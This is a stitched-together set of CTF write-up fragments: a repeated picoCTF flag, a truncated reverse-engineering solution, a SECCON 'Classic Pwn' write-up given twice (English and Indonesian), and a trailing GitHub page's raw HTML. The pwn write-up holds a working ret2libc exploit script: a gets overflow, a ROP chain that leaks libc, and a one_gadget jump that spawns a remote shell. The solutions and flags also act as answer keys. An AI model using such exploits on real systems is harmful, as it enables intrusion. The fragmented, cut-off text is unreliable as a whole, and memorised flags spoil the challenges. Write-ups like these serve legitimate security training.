h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p``` Bingo, our flag is `picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}`
## st4tic (reverse, 200) ### Solution The binary is a x64 ELF. First, try to decompile the program, but IDA can't identify where `main` is. It's caused by some bytes were written to the fallthrough location of branches which will always taken, which obfuscates the decompiler. ![](https://i.imgur.com/UySxrdy.png) After patching these bytes to `nop`, now the decompiler can correctly analyze all the functions, everything is clear. ```c__int64 __fastcall main(int argc, char **argv){ char *team_name; // [rsp+28h] [rbp-8h] team_name = getenv("team_name"); if ( team_name && !strncmp(team_name, "bi0s", 4uLL) ) { if ( argc == 2 ) { if ( validate(team_name, argv[1]) == 1 ) print_flag(argv[1]); else printf("Better luck next time!", argv); } else { printf("usage: chall <input>", "bi0s", argv); } } else { printf("Nope.", argv); } return 0LL;} int __fastcall validate(char *team_name, const char *flag){ size_t _i; // rbx char c; // dl size_t len; // rax char buf[32]; // [rsp+10h] [rbp-60h] char encoded_flag[23]; // [rsp+30h] [rbp-40h] int v9; // [rsp+4Ch] [rbp-24h] int v10; // [rsp+50h] [rbp-20h] int j; // [rsp+54h] [rbp-1Ch] int ascii_sum; // [rsp+58h] [rbp-18h] int i; // [rsp+5Ch] [rbp-14h] ascii_sum = 0; j = 0; strcpy(encrypted_flag, "?5b9no=k!5<jW;h7W~b4#|"); if ( strlen(flag) != 22 ) return 0; for ( i = 0; ; ++i ) { _i = i; if ( _i >= strlen(team_name) ) break; ascii_sum += team_name[i]; } v10 = 0; ascii_sum /= 30; while ( j != 22 ) { if ( j & 1 ) c = flag[j] - 4; else c = flag[j] + 4; buf[j] = c; buf[j] ^= ascii_sum; ++j; } v9 = 0; for ( i = strlen(buf) - 1; i >= 0; --i ) { len = strlen(buf); if ( buf[len - i - 1] != encrypted_flag[i] ) return 0; } return 1;}``` Only `bi0s` can pass the `team_name` check, it will be passed into `validate` to compute some values used to encrypt the flag(`argv[1]`). It's easy to write a inverse function. ```#!/usr/bin/env python3 e = "?5b9no=k!5
# Classic Pwn---**Points:** 121 | **Solves:** 197/653 | **Category:** Pwn Host: classic.pwn.seccon.jpPort: 17354 [Download](classic_aa9e979fd5c597526ef30c003bffee474b314e22)[Download](libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253) --- [Bahasa Indonesia](#bahasa-indonesia) ## EnglishA classic binary exploitation challenge. ```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial``` Below is the main function.```int __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [rsp+0h] [rbp-40h] puts("Classic Pwnable Challenge"); printf("Local Buffer >> ", argv); gets(&v4;; puts("Have a nice pwn!!"); return 0;}``` The program calls gets without canary.Spawn shell by ROP overwriting return-address (rbp+0x8) to leak-libc -> back-to-main.On the second gets, call one_gadget.```1st gets: pop rdi -> puts GOT/PLT -> function puts -> main2nd gets: one_gadget``` Below is the script.```pythonfrom pwn import * one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] r = remote('classic.pwn.seccon.jp', 17354)libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') r.sendline('a' * 0x48 + p64(0x00400753) + p64(0x601018) + p64(0x400520) + p64(0x4006A9))r.recvuntil('Local Buffer >> Have a nice pwn!!\n') libc_base = u64(r.recvline().strip() + '\x00\x00') - libc.symbols.putsprint hex(libc_base) r.sendline('a' * 0x48 + p64(libc_base+one[0]))r.interactive()``` ## Bahasa IndonesiaSoal klasik binary exploitation.```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial``` Berikut main function.```int __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [rsp+0h] [rbp-40h] puts("Classic Pwnable Challenge"); printf("Local Buffer >> ", argv); gets(&v4;; puts("Have a nice pwn!!"); return 0;}``` Program memanggil gets tanpa canary.Spawn shell dengan ROP menimpa return address (rbp+0x8) dengan leak-libc -> balik-ke-main.Pada gets kedua, panggil one_gadget.```1st gets: pop rdi -> puts GOT/PLT -> function puts -> main2nd gets: one_gadget``` Berikut script yang digunakan.```pythonfrom pwn import * one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] r = remote('classic.pwn.seccon.jp', 17354)libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') r.sendline('a' * 0x48 + p64(0x00400753) + p64(0x601018) + p64(0x400520) + p64(0x4006A9))r.recvuntil('Local Buffer >> Have a nice pwn!!\n') libc_base = u64(r.recvline().strip() + '\x00\x00') - libc.symbols.putsprint hex(libc_base) r.sendline('a' * 0x48 + p64(libc_base+one[0]))r.interactive()```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-write-ups/Pico CTF 2018/freecalc at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8F3C:7C06:16076BC:1698A84:641225B2" data-pjax-transient="true"/><meta name="html-safe-nonce" content="af503a88823d74ca598d30c53be8120df1b9272dc20b862486902306a182631a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4RjNDOjdDMDY6MTYwNzZCQzoxNjk4QTg0OjY0MTIyNUIyIiwidmlzaXRvcl9pZCI6IjI0MzY5MTA3MDY3OTg1MDMzNDYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="f58ff6a74d264feb26d01e0f1d397ab9029e4dbcb24a17b5a0329ef5eda8ed54" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/Pico CTF 2018/freecalc at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/Pico CTF 2018/freecalc at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git"> <meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" /> <link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/freecalc" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 